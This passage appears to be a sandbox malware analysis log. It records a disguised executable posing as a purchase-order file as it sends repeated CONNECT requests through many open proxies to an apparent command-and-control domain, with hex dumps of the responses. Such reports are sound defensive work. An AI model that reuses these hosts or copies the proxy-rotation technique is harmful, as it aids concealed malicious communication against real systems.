smaller;}/...*/--></style></head><body><h1>Server error!
Mar 11, 2024 16:42:25.004899979 CET	486	IN	Data Raw: 3c 2f 68 31 3e 0d 0a 3c 70 3e 0d 0a 0d 0a 0d 0a 20 20 0d 0a 0d 0a 20 20 20 20 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 61 6e 64 20 77 61 73 20 0d 0a 20 20 20 20 75 Data Ascii: </h1><p> The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there was an error in a CGI script. </p><p>If you think this is a server err

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
180	192.168.2.11	49808	184.181.217.194	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.256475925 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
181	192.168.2.11	50539	199.102.107.145	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.256730080 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
182	192.168.2.11	50379	103.190.54.141	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.259305000 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
183	192.168.2.11	50499	159.203.61.169	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.263132095 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.356235027 CET	28	IN	HTTP/1.1 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
184	192.168.2.11	50543	23.152.40.14	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.270539045 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
185	192.168.2.11	50655	104.16.108.42	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.270823956 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.425131083 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:19 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
186	192.168.2.11	50550	194.4.50.62	12334	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.274072886 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
187	192.168.2.11	50480	3.127.62.252	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.274740934 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.579576015 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:42:19 GMT Server: nginx Content-Type: text/plain Content-Length: 0
Mar 11, 2024 16:42:19.580094099 CET	202	OUT	Data Raw: 16 03 03 00 c5 01 00 00 c1 03 03 65 ef 26 5a 12 a4 d9 a2 47 26 a5 10 d7 10 93 62 91 9a c0 21 ca f4 d1 40 52 82 e3 c5 3d 3b 39 1e 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: e&ZG&b!@R=;9*,+0/$#('=<5/n-+(heygirlisheeverythingyouwantedinaman.com#
Mar 11, 2024 16:42:19.885200024 CET	1129	IN	Data Raw: 16 03 03 00 3d 02 00 00 39 03 03 05 7c 05 6c 08 b2 3e 24 c7 2f f3 44 b6 b5 15 78 55 67 dd ef d7 5e 93 70 44 4f 57 4e 47 52 44 01 00 c0 30 00 00 11 ff 01 00 01 00 00 0b 00 04 03 00 01 02 00 17 00 00 16 03 03 02 e8 0b 00 02 e4 00 02 e1 00 02 de 30 Data Ascii: =9\|l>$/DxUg^pDOWNGRD0000*H03110/U(heygirlisheeverythingyouwantedinaman.com0240311151222Z260311151222Z03110/U(heygirlisheeverythingyouwantedinaman.c
Mar 11, 2024 16:42:19.890038013 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 c0 e8 78 7d 0b eb b3 26 ed e5 69 5b 8b 96 2e 55 ca 7d fe 92 41 82 84 6e a4 a8 91 50 44 bf 1f 43 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 ff ee 75 7c d5 6f b9 e5 c1 e0 d4 14 22 a9 35 a6 8b eb 78 ff 61 Data Ascii: %! x}&i[.U}AnPDC(u\|o"5xa<e*GJ
Mar 11, 2024 16:42:20.208225965 CET	51	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 1f 19 44 0d db e3 a6 0a de 3b f7 d4 ad df e8 20 8f 2b 7d 8e 2d 70 34 f1 19 03 20 9b c5 86 10 2e fd d2 83 eb 78 7f dc bb Data Ascii: (D; +}-p4 .x

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
188	192.168.2.11	50638	162.214.164.200	42624	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.303606987 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.766643047 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.297905922 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:21.360454082 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:23.532598972 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.735872030 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.938981056 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
189	192.168.2.11	50502	174.64.199.79	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.309073925 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
190	192.168.2.11	50557	190.153.121.2	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.310290098 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
191	192.168.2.11	50481	95.66.138.21	8880	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.315372944 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
192	192.168.2.11	50677	172.67.181.97	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.317444086 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.472027063 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:19 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
193	192.168.2.11	50686	104.25.42.178	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.322598934 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.476919889 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:19 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
194	192.168.2.11	50150	36.134.91.82	8888	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.322772980 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.610402107 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
195	192.168.2.11	50694	104.19.225.70	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.327143908 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.481409073 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:19 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
196	192.168.2.11	50569	3.212.148.199	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.327402115 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.544348955 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:42:19 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
197	192.168.2.11	50720	104.22.50.220	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.345669985 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.499783993 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:19 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
198	192.168.2.11	50620	184.178.172.5	15303	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.350183010 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
199	192.168.2.11	49849	98.162.25.29	31679	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.350464106 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
200	192.168.2.11	50731	172.67.127.188	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.351579905 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.506167889 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:19 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
201	192.168.2.11	50528	152.32.132.220	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.353312969 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:20.032229900 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:22.262649059 CET	325	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.1 Date: Mon, 11 Mar 2024 15:46:52 GMT Content-Type: text/html Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
202	192.168.2.11	50740	172.67.182.107	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.354347944 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:19.508397102 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:42:19 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
203	192.168.2.11	50523	49.12.126.53	51251	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:19.355139017 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
